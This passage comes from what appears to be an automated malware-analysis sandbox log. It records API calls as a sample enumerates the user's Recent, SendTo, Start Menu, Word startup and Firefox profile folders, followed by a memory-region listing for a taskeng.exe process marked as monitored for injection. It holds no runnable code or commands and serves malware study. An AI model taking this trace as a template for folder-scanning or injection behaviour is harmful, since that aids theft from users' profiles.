88 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z517SuiN6.lnk") returned 78 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z98Sl-qVG_MnHL4m.lnk") returned 85 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZkDQnd37h.lnk") returned 78 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZLRTWEp0IUL8.lnk") returned 81 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZNgE87vnK3qJ9eY74j.lnk") returned 87 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zpoDQviNc.swf.lnk") returned 82 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zRgQLmB.lnk") returned 76 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zX3BNfodO-3TxT35U.lnk") returned 86 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZySrDcRpA.lnk") returned 78 [0119.377] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_Cpez_Qb4O9v Aa.lnk") returned 84 [0119.377] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_yHpKvhu.mkv.lnk") returned 81 [0119.377] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.377] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\SendTo") returned 64 [0119.377] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*") returned 66 [0119.377] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.377] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget") returned 106 [0119.377] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink") returned 99 [0119.377] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini") returned 76 [0119.377] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.378] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.378] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.378] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0119.378] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 0x85b360 [0119.378] FindClose (in: hFindFile=0x85b360 | out: hFindFile=0x85b360) returned 1 [0119.378] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 0x85b360 [0119.378] FindClose (in: hFindFile=0x85b360 | out: hFindFile=0x85b360) returned 1 [0119.379] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0119.379] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0119.379] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0119.379] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0119.379] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0119.379] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0119.379] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0119.379] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.379] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.379] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.379] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.379] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.380] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.380] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.380] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Word\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.380] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.380] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.380] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.380] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0119.380] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0119.380] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.380] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.380] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.380] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.381] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.381] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.381] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.381] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0119.381] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0119.381] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0119.381] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0119.381] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0119.381] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*", lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 0x85b360 [0119.381] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*", lpFindFileData=0x2a6bf78 | out: lpFindFileData=0x2a6bf78) returned 0x85b3a0 [0119.381] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*", lpFindFileData=0x2a6b8b0 | out: lpFindFileData=0x2a6b8b0) returned 0x85b3e0 [0119.382] FindClose (in: hFindFile=0x85b3e0 | out: hFindFile=0x85b3e0) returned 1 [0119.382] FindClose (in: hFindFile=0x85b3a0 | out: hFindFile=0x85b3a0) returned 1 [0119.382] FindClose (in: hFindFile=0x85b360 | out: hFindFile=0x85b360) returned 1 [0119.382] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0119.382] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0119.382] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0119.382] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0119.382] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0119.382] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.382] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.382] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.382] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0119.383] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0119.383] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0119.383] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0119.383] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0119.383] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0119.383] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0119.383] FindClose (in: hFindFile=0x85b1a0 | out: hFindFile=0x85b1a0) returned 1 Process: id = "13" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x74e69000" os_pid = "0x2b4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "8" os_parent_pid = "0x568" cmd_line = "taskeng.exe {CFDCF914-63AE-4446-B16F-E0A62E2EE661} S-1-5-21-1836691140-625943148-109919340-1000:AUFDDCNTXWT\\aDU0VK IWA5kLS:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "AUFDDCNTXWT\\aDU0VK IWA5kLS" os_groups = "AUFDDCNTXWT\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103d4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2935 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2936 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2937 start_va = 0x30000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2938 start_va = 0xb0000 end_va = 0xb3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 2939 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2940 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2941 start_va = 0x140000 end_va = 0x141fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2942 start_va = 0x150000 end_va = 0x15ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2943 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2944 start_va = 0x170000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2945 start_va = 0x270000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 2946 start_va = 0x370000 end_va = 0x4f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 2947 start_va = 0x500000 end_va = 0x680fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 2948 start_va = 0x690000 end_va = 0x1a8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 2949 start_va = 0x1a90000 end_va = 0x1e82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001a90000" filename = "" Region: id = 2950 start_va = 0x1e90000 end_va = 0x1e90fff entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 2951 start_va = 0x1ea0000 end_va = 0x1ea0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 2952 start_va = 0x1ec0000 end_va = 0x1f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 2953 start_va = 0x1f40000 end_va = 0x1f7bfff entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 2954 start_va = 0x1f80000 end_va = 0x1ffffff entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 2955 start_va = 0x2020000 end_va = 0x209ffff entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 2956 start_va = 0x20a0000 end_va = 0x219ffff entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 2957 start_va = 0x21a0000 end_va = 0x227efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000021a0000" filename = "" Region: id = 2958 start_va = 0x2320000 end_va = 0x25eefff entry_point = 0x2320000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2959 start_va = 0x2680000 end_va = 0x26fffff entry_point = 0x0 region_type = private name = "private_0x0000000002680000" filename = "" Region: id = 2960 start_va = 0x2770000 end_va = 0x27effff entry_point = 0x0 region_type = private name = "private_0x0000000002770000" filename = "" Region: id = 2961 start_va = 0x2940000 end_va = 0x29bffff entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 2962 start_va = 0x2a70000 end_va = 0x2aeffff entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 2963 start_va = 0x77320000 end_va = 0x7743efff entry_point = 0x77335ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2964 start_va = 0x77440000 end_va = 0x77539fff entry_point = 0x7745a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2965 start_va = 0x77540000 end_va = 0x776e8fff entry_point = 0x77540000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2966 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2967 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2968 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2969 start_va = 0xffe30000 end_va = 0xffea3fff entry_point = 0xffe3f44c region_type = mapped_file name = "taskeng.exe" filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe") Region: id = 2970 start_va = 0x7fef6130000 end_va = 0x7fef6138fff entry_point = 0x7fef61311a0 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 2971 start_va = 0x7fefaec0000 end_va = 0x7fefaed7fff entry_point = 0x7fefaec1130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2972 start_va = 0x7fefb2a0000 end_va = 0x7fefb2f5fff entry_point = 0x7fefb2abbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2973 start_va = 0x7fefb380000 end_va = 0x7fefb3b4fff entry_point = 0x7fefb381064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2974 start_va = 0x7fefb3c0000 end_va = 0x7fefb3c9fff entry_point = 0x7fefb3c260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2975 start_va = 0x7fefca60000 end_va = 0x7fefcaa6fff entry_point = 0x7fefca61064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2976 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb32b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2977 start_va = 0x7fefcfb0000 end_va = 0x7fefd01cfff entry_point = 0x7fefcfb1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2978 start_va = 0x7fefd350000 end_va = 0x7fefd374fff entry_point = 0x7fefd359658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2979 start_va = 0x7fefd380000 end_va = 0x7fefd38efff entry_point = 0x7fefd381010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2980 start_va = 0x7fefd470000 end_va = 0x7fefd483fff entry_point = 0x7fefd4710e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2981 start_va = 0x7fefd680000 end_va = 0x7fefd6eafff entry_point = 0x7fefd6830e0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2982 start_va = 0x7fefd860000 end_va = 0x7fefd98cfff entry_point = 0x7fefd8aed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2983 start_va = 0x7fefd990000 end_va = 0x7fefda28fff entry_point = 0x7fefd991c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2984 start_va = 0x7fefda30000 end_va = 0x7fefda5dfff entry_point = 0x7fefda31010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2985 start_va = 0x7fefdb00000 end_va = 0x7fefdbdafff entry_point = 0x7fefdb20760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2986 start_va = 0x7fefdd60000 end_va = 0x7fefddc6fff entry_point = 0x7fefdd6b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2987 start_va = 0x7fefddd0000 end_va = 0x7fefded8fff entry_point = 0x7fefddd1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2988 start_va = 0x7fefdee0000 end_va = 0x7fefdfa8fff entry_point = 0x7fefdf5a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2989 start_va = 0x7fefed40000 end_va = 0x7fefeddefff entry_point = 0x7fefed425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2990 start_va = 0x7fefede0000 end_va = 0x7fefefe2fff entry_point = 0x7fefee03330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2991 start_va = 0x7feff2b0000 end_va = 0x7feff320fff entry_point = 0x7feff2c1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2992 start_va = 0x7feff330000 end_va = 0x7feff33dfff entry_point = 0x7feff331080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2993 start_va = 0x7feff5b0000 end_va = 0x7feff5cefff entry_point = 0x7feff5b60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2994 start_va = 0x7feff5d0000 end_va = 0x7feff6a6fff entry_point = 0x7feff5d3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2995 start_va = 0x7feff860000 end_va = 0x7feff860fff entry_point = 0x7feff860000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2996 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2997 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2998 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2999 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3000 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3001 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3002 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 3003 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 3015 start_va = 0x1eb0000 end_va = 0x1eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000001eb0000" filename = "" Region: id = 3305 start_va = 0x22a0000 end_va = 0x231ffff entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: 